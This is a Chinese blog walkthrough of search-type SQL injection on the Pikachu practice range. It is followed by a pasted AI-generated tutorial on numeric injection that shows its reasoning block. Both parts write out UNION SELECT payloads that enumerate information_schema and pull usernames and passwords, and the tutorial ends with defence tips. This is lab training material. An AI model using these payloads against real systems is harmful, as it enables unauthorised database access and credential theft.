pikachu靶场的搜索型注入

本文详细介绍了如何通过搜索型注入进行SQL注入攻击,首先通过测试注入点发现可注入情况,然后利用闭合方式猜测并验证SQL语句。通过判断字段数和回显位,成功获取了数据库名、用户名和版本。接着,通过查询information_schema获取表名和字段名,最终定位到username和password字段,展示了完整的攻击步骤和技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

搜索型注入

搜索vince

在这里插入图片描述

测试该传参点是否可以注入

搜索vince’看看能不能注入

在这里插入图片描述
在这里插入图片描述

说明这个传参点可注入,并且返回了部分代码’%”

说明源代码不是使用”闭合的。猜测源代码的闭合方式’%username%’

猜测源代码的闭合方式’%username%’

使用语句:正确返回的内容 %’ 注入sql语句 #
在这里插入图片描述在这里插入图片描述

and 1=1 返回正常,and 1=2报错,说明可以开始注入

尝试mysql联合查询注入

先判断字段数

在这里插入图片描述在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

当字段为4时报错,说明字段数为3。确定字段数为3

查询可回显位

在这里插入图片描述

说明字段1,2,3,都是可回显位

利用回显位查看数据库名,用户名,数据库版本

查库名函数database() 或者schema()
查用户名函数 user()
查数据库版本函数 version()
在这里插入图片描述

回显用户为root最高用户,数据库名为pikachu

知道数据库名后去判断数据库的表名、字段名
1.知道库名,先去查询表名

语句:vince%’ union select group_concat(table_name),2,3 from information_schema.tables where table_schema=‘pikachu’

在这里插入图片描述
猜测用户名应该存在users这个表下,所以我们需要去查users表下的字段名。

2.查users表下的字段名

语句:vince%’ union select group_concat(column_name),2,3 from information_schema.columns where table_name=‘users’
在这里插入图片描述
查询到关键字段名为username password

注意:这边的table_name=<‘table_name’>,表名一定不要写错。因为在information_schema.columns这张表下存储的是所有库的所有表的所有列信息,如果你写错了可能就查到其他的库下的表了。
我之前不小心把表名users写成了user就查到其他库下的表去了(下面一张图是错例)乍一看真看不出来,然后字段名是一样的后面就做对了。在这里插入图片描述

3.利用union select 的回显去查询账号密码

在这里插入图片描述

<think>好的,用户需要关于Pikachu靶场中数字型SQL注入的实验教程。首先,我得回忆一下Pikachu靶场的结构,数字型注入和字符型注入的区别。数字型通常不需要闭合引号,直接注入即可。用户提供的引用中提到了使用'union select等语句,但数字型可能不需要单引号。 接下来,我需要整理实验步骤。首先应该搭建环境,确保Pikachu靶场已经部署好。然后找到数字型注入的入口,比如可能是某个查询参数是数字类型的页面。比如用户信息查询,参数是id=1这样的形式。 然后,测试注入点。使用1 and 1=1和1 and 1=2来判断是否存在注入漏洞。如果页面返回不同,说明存在漏洞。之后确定字段数,用order by来猜测列数。接着联合查询,获取数据库信息,比如数据库名、表名、列名,最后提取数据。 要注意引用用户提供的例子,比如使用database()函数获取数据库名,还有information_schema.columns来获取列信息。需要确保语法正确,比如闭合注释符--+或者-- -。 另外,用户可能需要防御建议,比如参数化查询,过滤输入等。还要生成相关问题,可能涉及其他类型的注入、工具使用或防范措施。 需要检查步骤是否清晰,是否符合实际操作,以及是否正确应用了引用中的示例。确保使用正确的LaTeX格式,变量用$...$,独立公式用$$...$$。同时用中文回答,结构分明,步骤详细。</think>### Pikachu靶场数字型SQL注入实验教程 #### 一、实验准备 1. 部署Pikachu靶场环境(推荐使用PHPStudy+源码包) 2. 访问数字型注入漏洞模块:`/vul/sqli/sqli_id.php` #### 二、注入步骤演示 1. **判断注入点** 输入`1 and 1=1`返回正常,`1 and 1=2`返回异常,说明存在数字型注入漏洞[^1]。 2. **确定字段数** 通过`order by`逐步测试: ```sql 1 order by 2--+ # 正常 1 order by 3--+ # 报错 ``` 确认字段数为2列。 3. **联合查询获取信息** ```sql 1 union select database(),2--+ # 获取当前数据库名pikachu ``` 4. **提取表结构** ```sql 1 union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'--+ # 获取users等表名[^2] ``` 5. **获取敏感数据** ```sql 1 union select username,password from pikachu.users--+ # 提取账户密码哈希值 ``` #### 三、关键语法说明 - 数字型注入无需闭合引号,直接拼接SQL - `information_schema`系统库存储元数据[^2] - `group_concat()`函数聚合查询结果 - 注释符`--+`或`#`截断后续语句 #### 四、防御建议 1. 使用预处理语句: ```php $stmt = $pdo->prepare("SELECT * FROM table WHERE id = ?"); $stmt->execute([$id]); ``` 2. 强制类型转换:`intval($_GET['id'])` 3. 设置数据库最小权限原则
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值